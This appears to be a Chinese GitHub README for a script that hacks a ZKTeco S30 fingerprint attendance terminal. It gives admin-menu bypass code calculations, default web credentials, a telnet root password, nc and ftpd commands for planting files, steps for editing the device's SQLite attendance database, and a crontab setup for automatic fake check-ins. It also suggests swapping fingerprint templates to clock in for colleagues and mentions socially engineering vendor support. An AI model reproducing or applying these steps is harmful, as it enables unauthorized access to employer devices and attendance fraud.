

linsir updatge

Latest commit 696fcdc on 10 Jan 2017

README.md

updatge

3 years ago

log.sh

updatge

3 years ago

README.md

ZKTeco中控指纹自动打卡及修改打卡时间

ZKTeco S30

经过网上查询可知，该中控机可以通过以下方式管理数据

- 机身自带管理功能
- RS232/485
- USB Host/client
- TCP/IP 客户端软件
- Web 3.0
- Telnet(开发人员)

下面来细说这几种方式：

1. 机身自带管理功能

这里根据官方帮助http://cn.zkteco.com/server01_detail/newsId=146.html

1.1 黑白屏机器

按菜单键输入9999>>>按“上”键>>>8888>>>再按“上”键，指纹机右上方会显示一个随机的数字，将这个数字记下来求和，并输入一个四位数，首（千）位是7，百位是随机的数和的首位，十位是0，个位是随机的数和的末位。如和是一位个位也是0，再按“上”键和菜单键即可进入设置界面，这个过程不能太长，太长的话就失效了。进入设置菜单将管理员的权限清除掉即可。

1.2 彩屏机器

彩屏须在1分钟内操作完成，记下机器时间，用计算器算9999-机器显示时间的差的平方，就是密码。例如：目前考勤机时间是22:55，那就是9999-2255=7744，接着算7744的平方，7744*7744=59969536，考勤机8888的管理密码就是59969536。按菜单键，在指纹机上输入8888>>>按OK键，输入计算出来的密码 OK。

2. RS232/485 串口线连接

具体方法及参数可以看说明书 默认通讯密码：0（也就是空密码）

3. USB 连接方式

通过自带管理通过u盘把数据导入或导出。

4. TCP/IP 客户端软件

通过软件来同步导出数据，行政貌似就是这么干的。对了，官方说明传输数据并没有加密,但是在这动手脚，意义并不大。

5. Web 3.0

给了一个 http 的方式，管理员可以通过web来查询考勤记录，员工貌似也可以登录查看自己的记录。默认超管账号及密码

```
user:administrator;
password: 123456;
```

telnet

这个方式应该是开发人员用的，根据介绍得知，该机器基于 linux，如果我们拿下这个 telnet，我们就获得了最高权限，那时候我们想怎么玩就怎么玩了。

思路

对过以上几种方式的分析，数据是记录在机器里，为了签到，我们只能通过telnet方式

```
Trying 192.168.2.201...
Connected to 192.168.2.201.
Escape character is '^]'.

Welcome to Linux (ZMM220) for MIPS
Kernel 3.0.8 on an MIPS
(none) login:
```

简单的尝试后失败了。

根据<http://lcx.cc/index.asp?i=3568> 和 <http://blog.infobytesec.com/2014/07/perverting-embedded-devices-zksoftware_2920.html

在评论区中翻到：

telnet 密码貌似跟出厂时间及机器型号都是有相关的。这个是开发人员设定的。

我动了社会工程学，以公司管理员的身份向售后咨询密码，可惜到目前都没有回复我。

最后用 评论区中的 root solokey 成功进入到系统。

id 显然是 root，剩下的就自由发挥了。

打卡及修改打卡时间

进入系统就是一阵乱找，在 /mnt/mtdblock 下找到我们想要的东西

```
# ls
CacheData.dat  data          lib           service
app            drivers       mgcfg-mips    ssrrealtime.dat
auto.sh        eerom.txt     miniguieres   wav
commonres      kill.sh       script
```

data 目录下 ZKDB.db 就是我们想要的。

1. 数据

1.1 下载与上传

初步思路时，下载 db 文件本地来打开研究，并修改，然后再上传替换。下载好说，不是提供了一个web3.0么，把 db 复制到 web 目录下不就 Okay 了嘛。

上传呢，这个系统是个精简版的系统，仅集成了 busybox，命令少的可怜，scp 就不要想了。

不过找了命令，发现支持 ftp，tftp，nc，所以这个就简单了。

ftp

```
tcpsvd -vE 0.0.0.0 21 ftpd -w /mnt/mtdblock/
```

当然你也可以修改 `/etc/inetd.conf`

但是这货上传的文件用vi打开后面有个 `^M`, 很是不舒服。

nc

发送端:

```
cat log.sh | nc -l -p 6666
或者 nc -l -p 6666 < log.sh # 有些版本不要在 -p
```

【监听6666端口, 等待连接】(设发送端IP为 192.168.2.123 6666)

接收端:

```
nc 192.168.2.123 6666 > log.sh
```

如上面的操作, 即可将文件log.sh从发送端传送到接收端, 保存为log.sh

tftp

这个我没测试, 可以通过 `/etc/inetd.conf` 来启动

2. 数据及修改

这个db文件实际上就是 sqlite3, 用 `sqlitebrowser` 打开发现, 表的结构还是有点多, 我只说关键的这两个表,

- ATT_LOG: 签到数据
- USER_INFO: 用户信息
- fptemplate10: 指纹信息

很幸运的在data目录下又找到 `sqlite3_mips` 可执行程序, 可以直接操作 db 文件, 所以想修改数据简直是轻而易举了。

剩下的就是写个签到脚本了。

3. 自动签到

虽然精简但是还是提供了 `crontab` 这个定时任务, 只是执行时会提示错误:

```
crontab: chdir(/var/spool/cron/crontabs): No such file or directory
```

既然不存在, 那我们就新建一个。

```
mkdir -p /var/spool/cron/crontabs/
```

然后就可以用了, 写个定时脚本, 每天定时签到, 永不迟到。

进阶玩法

1. 上传图片及声音文件, 告别丑陋的出厂图, 让机器更个性.
2. 写个api接口, 手机签到.
3. 替换指纹数据, 帮别人打卡 (入职时一般会录两个指纹)

代码

github:https://github.com/linsir/pyscripts/tree/master/zkteco_check_in

使用方法: 把 `log.sh` 上传到 `/mnt/mtdblock/data` 下执行即可。

```
Usage: 1. bash log.sh query Name: Query [name]'s user_id.
      2. bash log.sh checkin user_id: Check in for [user_id]'s user.
      3. bash log.sh checkout user_id: Check out for [user_id]'s user.
      4. bash log.sh change: Change checkin time of current month.
      5. bash log.sh change time (2016-06-06T16:03:50): Change checkin [time] of current month with time.
      6. bash log.sh del : Delete the [log_id]'s checkin log.
      7. bash log.sh help ID1 ID2 [fingerid]: Use [ID1] 's finger([fingerid]) help [ID2] to checkin.'
```

all done,enjoy it .

参考地址:

1. <http://cn.zkteco.com/service01.html>
2. <http://lcx.cc/?i=3568>